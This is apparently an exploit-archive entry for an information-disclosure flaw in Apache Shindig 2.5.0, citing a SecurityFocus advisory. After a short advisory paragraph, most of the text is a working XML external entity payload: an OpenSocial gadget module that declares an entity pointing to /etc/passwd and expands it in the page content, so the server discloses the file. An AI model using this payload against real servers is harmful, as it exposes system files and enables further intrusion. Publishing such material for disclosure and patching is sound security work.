source: https://www.securityfocus.com/bid/63260/info Apache Shindig is prone to an information-disclosure vulnerability. An attacker can exploit this issue to gain access to sensitive information; this may lead to further attacks. Apache Shindig 2.5.0 is vulnerable. <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Module [ <!ENTITY passwd SYSTEM "file:///etc/passwd"> ]> <Module> <ModulePrefs title="Test Application"> <Require feature="opensocial-0.9" /> </ModulePrefs> <Content type="html"> &passwd; hello </Content> </Module>